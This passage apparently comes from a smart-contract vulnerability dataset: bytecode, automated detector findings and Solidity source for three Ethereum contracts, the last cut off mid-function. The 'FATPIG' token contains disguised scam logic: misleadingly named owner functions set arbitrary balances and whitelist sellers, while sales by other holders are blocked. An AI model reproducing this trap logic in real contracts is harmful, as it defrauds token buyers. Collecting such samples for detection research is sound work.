0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80637b7d6c68116100f9578063b3f5e00811610097578063c7efd05411610071578063c7efd054146103f4578063f2fde38b1461041a578063f77c479114610440578063fbfa77cf14610448576101c4565b8063b3f5e008146103ae578063b4d1d795146103e4578063ba522458146103ec576101c4565b80638da5cb5b116100d35780638da5cb5b146103705780638f1c56bd146103785780639db5df4614610380578063b3ab15fb14610388576101c4565b80637b7d6c68146103325780637ce686111461036057806389c614b814610368576101c4565b8063570ca735116101665780635d31ad81116101405780635d31ad81146102b557806368d4c5ee146102ea578063715018a614610307578063767ac3691461030f576101c4565b8063570ca7351461028157806357b4d18e146102a557806359629330146102ad576101c4565b8063288bf1fe116101a2578063288bf1fe146102315780632d7c071e1461025757806334535ee11461027157806341edf14414610279576101c4565b806302abcb3b146101c957806315945006146101e857806317fe6e0914610214575b600080fd5b6101e6600480360360208110156101df57600080fd5b5035610450565b005b6101e6600480360360408110156101fe57600080fd5b50803590602001356001600160a01b03166104ad565b6101e66004803603602081101561022a57600080fd5b5035610553565b6101e66004803603602081101561024757600080fd5b50356001600160a01b03166105b0565b61025f61062a565b60408051918252519081900360200190f35b61025f610630565b61025f610636565b61028961063c565b604080516001600160a01b039092168252519081900360200190f35b61025f61064b565b61025f6106f4565b6101e6600480360360a08110156102cb57600080fd5b508035906020810135906040810135906060810135906080013561071b565b6101e66004803603602081101561030057600080fd5b50356109b3565b6101e6610a10565b6101e66004803603604081101561032557600080fd5b5080359060200135610ab2565b6101e66004803603604081101561034857600080fd5b506001600160a01b0381358116916020013516610b15565b61025f610bc7565b61025f610bcd565b610289610bd3565b61025f610be2565b610289610be8565b6101e66004803603602081101561039e57600080fd5b50356001600160a01b0316610bf7565b6101e6600480360360608110156103c457600080fd5b506001600160a01b03813581169160208101359091169060400135610c71565b61025f610d51565b61025f610d57565b6101e66004803603602081101561040a57600080fd5b50356001600160a01b0316610d5d565b6101e66004803603602081101561043057600080fd5b50356001600160a01b0316610dd7565b610289610ecf565b610289610ede565b610458610eed565b6000546001600160a01b039081169116146104a8576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600c55565b6104b5610eed565b6000546001600160a01b03908116911614610505576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b6001600160a01b03811661051857600080fd5b6040516001600160a01b0382169083156108fc029084906000818181858888f1935050505015801561054e573d6000803e3d6000fd5b505050565b61055b610eed565b6000546001600160a01b039081169116146105ab576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600b55565b6105b8610eed565b6000546001600160a01b03908116911614610608576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b600c5481565b600b5481565b60025481565b600a546001600160a01b031681565b6006546040805163bd85b03960e01b815260026004820152905160009283926001600160a01b039091169163bd85b03991602480820192602092909190829003018186803b15801561069c57600080fd5b505afa1580156106b0573d6000803e3d6000fd5b505050506040513d60208110156106c657600080fd5b50516004549091508110156106df5760009150506106f1565b6004546106ed908290610ef1565b9150505b90565b60008060015460025442038161070657fe5b04905060015481600101026002540191505090565b610723610bd3565b6001600160a01b0316336001600160a01b0316148061074c5750600a546001600160a01b031633145b610786576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b6006546040805163bd85b03960e01b81526002600482015290516001600160a01b039092169163bd85b03991602480820192602092909190829003018186803b1580156107d257600080fd5b505afa1580156107e6573d6000803e3d6000fd5b505050506040513d60208110156107fc57600080fd5b5051600455600b548511156108fb57600754600654604080516369940d7960e01b815290516001600160a01b0393841693637fc09531938a939116916369940d7991600480820192602092909190829003018186803b15801561085e57600080fd5b505afa158015610872573d6000803e3d6000fd5b505050506040513d602081101561088857600080fd5b5051600654604080516001600160e01b031960e087901b16815260048101949094526001600160a01b0392831660248501529116604483015251606480830192600092919082900301818387803b1580156108e257600080fd5b505af11580156108f6573d6000803e3d6000fd5b505050505b61091a8261091486600554610ef190919063ffffffff16565b90610f3a565b600555821561092e5761092c83610f94565b505b600c5481106109a85760075460095460408051633629c52760e21b8152600481018590526001600160a01b0392831660248201529051919092169163d8a7149c91604480830192600092919082900301818387803b15801561098f57600080fd5b505af11580156109a3573d6000803e3d6000fd5b505050505b505042600355505050565b6109bb610eed565b6000546001600160a01b03908116911614610a0b576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600555565b610a18610eed565b6000546001600160a01b03908116911614610a68576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b610aba610eed565b6000546001600160a01b03908116911614610b0a576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600191909155600255565b610b1d610eed565b6000546001600160a01b03908116911614610b6d576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b6001600160a01b03821615610b9857600780546001600160a01b0319166001600160a01b0384161790555b6001600160a01b03811615610bc357600680546001600160a01b0319166001600160a01b0383161790555b5050565b60055481565b60035481565b6000546001600160a01b031690565b60045481565b6009546001600160a01b031681565b610bff610eed565b6000546001600160a01b03908116911614610c4f576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b610c79610eed565b6000546001600160a01b03908116911614610cc9576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d2057600080fd5b505af1158015610d34573d6000803e3d6000fd5b505050506040513d6020811015610d4a57600080fd5b5050505050565b60015481565b60035490565b610d65610eed565b6000546001600160a01b03908116911614610db5576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b610ddf610eed565b6000546001600160a01b03908116911614610e2f576040805162461bcd60e51b8152602060048201819052602482015260008051602061118f833981519152604482015290519081900360640190fd5b6001600160a01b038116610e745760405162461bcd60e51b81526004018080602001828103825260268152602001806111696026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b031681565b6006546001600160a01b031681565b3390565b6000610f3383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110d1565b9392505050565b600082820183811015610f33576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6007546040805163beefbfd360e01b8152306004820152905160009283926001600160a01b039091169163beefbfd391602480820192602092909190829003018186803b158015610fe457600080fd5b505afa158015610ff8573d6000803e3d6000fd5b505050506040513d602081101561100e57600080fd5b505190508281101561105b576040805162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f7567682073686172657360781b604482015290519081900360640190fd5b6007546009546040805163a3c1295b60e01b8152600481018790526001600160a01b0392831660248201529051919092169163a3c1295b91604480830192600092919082900301818387803b1580156110b357600080fd5b505af11580156110c7573d6000803e3d6000fd5b5050505050919050565b600081848411156111605760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561112557818101518382015260200161110d565b50505050905090810190601f1680156111525780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122095f1d6dc3adfbfe3de465eedd8c137b80199b401f3fd8bd0ea39121aa80b284264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
6,720
0x03af731935d11f1d97b33f6f2bbf516ce0834c41
/** *Submitted for verification at Etherscan.io on 2021-02-18 */ /**FATPIG is a community driven DeFi-project by the people and for the people, the decisions and actions of FATPIG are made by its community through voting to assure equity and fairness for all. FATPIG.FINANCE is a new form of governance system, a think-tank where innovation, entrepreneurship, and technological advancements are the priority, creating a much needed utility focus to the blockchain space. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Fatpig { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158203a86984d418748440ec8f2003fbf3c78682aa7bdba2a981178b863bfe958544d64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
6,721
0xc4f97fcf045c0bfb9faa19515446eb0c7ffde8bf
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev to mint POE tokens */ interface PoExtended{ function mint(address) external returns (bool); } /** * @title NFT * @dev ERC721 contract that holds the bonus NFTs */ interface INFT{ function balanceOf(address account, uint256 id) external view returns (uint256); } /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } /** * @title PoExtended * @author Carson Case [carsonpcase@gmail.com] * @notice PoExtended is a POE token with owner delegated Admins and a merkle claim system */ /** * @title MerkleMinter * @author Carson Case > carsonpcase@gmail.com * @author Zane Huffman > @jeffthedunker * @dev is ownable. For now, by deployer, but can be changed to DAO */ contract SlimMerkleMinter is Ownable{ using MerkleProof for bytes32[]; /// @dev the merkle root which CAN be updated bytes32 public merkleRoot; mapping(address => bool) admins; //Treasury address address payable public treasury; //Base commission rate for refferals. Decimal expressed as an interger with decimal at 10^3 place (1 = 0.1%, 10 = 1%). uint256 public baseCommission; //xGDAO address address public xGDAO; //POE address address public POEContract; //Cost to sign up uint256 public basePrice; //NFT bonus address address public bonusNFTAddress; //Free if a users holds this much xGDAO or more uint256 public minXGDAOFree; //Nft bonus info struct nftBonus{ uint128 id; //Decimal expressed as an interger with decimal at 10^18 place. uint128 multiplier; } //Array of NFT bonus info nftBonus[] bonusNFTs; /** * @notice arrays must have the same length * @param _treasury address to receive payments * @param _basePrice for starting price * @param _bonusNFTAddress to look up bonus NFTs * @param _commission base referral commission before bonus * @param _bonusNFTIDs ids of bonus NFTs (length must match multipliers) * @param _bonusNFTMultipliers multipliers of bonus NFTs (length must match IDs) 100% is 10^18 */ constructor( address payable _treasury, address _xGDAOAddress, uint256 _basePrice, address _bonusNFTAddress, uint256 _commission, uint128[] memory _bonusNFTIDs, uint128[] memory _bonusNFTMultipliers ) Ownable() { bonusNFTAddress = _bonusNFTAddress; _addBonusNFTs(_bonusNFTIDs, _bonusNFTMultipliers); treasury = _treasury; xGDAO = _xGDAOAddress; basePrice = _basePrice; baseCommission = _commission; } /// @dev some functions only callable by approved Admins modifier onlyAdmin(){ require(admins[msg.sender], "must be approved by owner to call this function"); _; } /// @dev only owner can add Admins function addAdmin(address _admin) external onlyOwner{ require(admins[_admin] != true, "Admin is already approved"); admins[_admin] = true; } /// @dev owner can remove them too function removeAdmin(address _admin) external onlyOwner{ require(admins[_admin] != false, "Admin is already not-approved"); admins[_admin] = false; } /// @dev A Admin can forefit their minting status (useful for contracts) function forefitAdminRole()external{ require(admins[msg.sender] == true, "msg.sender must be an approved Admin"); admins[msg.sender] = false; } /// @dev set xGDAO address function setXGDAOAddress(address _new) external onlyAdmin{ xGDAO = _new; } /// @dev set POE Contract address function setPOEContractAddress(address _new) external onlyAdmin{ POEContract = _new; } /// @dev set minXGDAO. If zero, no free amount function setMinXGDAOFree(uint _new) external onlyAdmin{ minXGDAOFree = _new; } function updateMerkleRoot(bytes32 _new) external onlyAdmin{ merkleRoot = _new; } /** * @notice purchase function. Can only be called once by an address * @param _referrer must have an auth token. Pass 0 address if no referrer */ function purchasePOE(address payable _referrer, /*bytes32 _hashedRef,*/ bytes32[] memory proof) external payable{ bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(proof.verify(merkleRoot,leaf), "Address 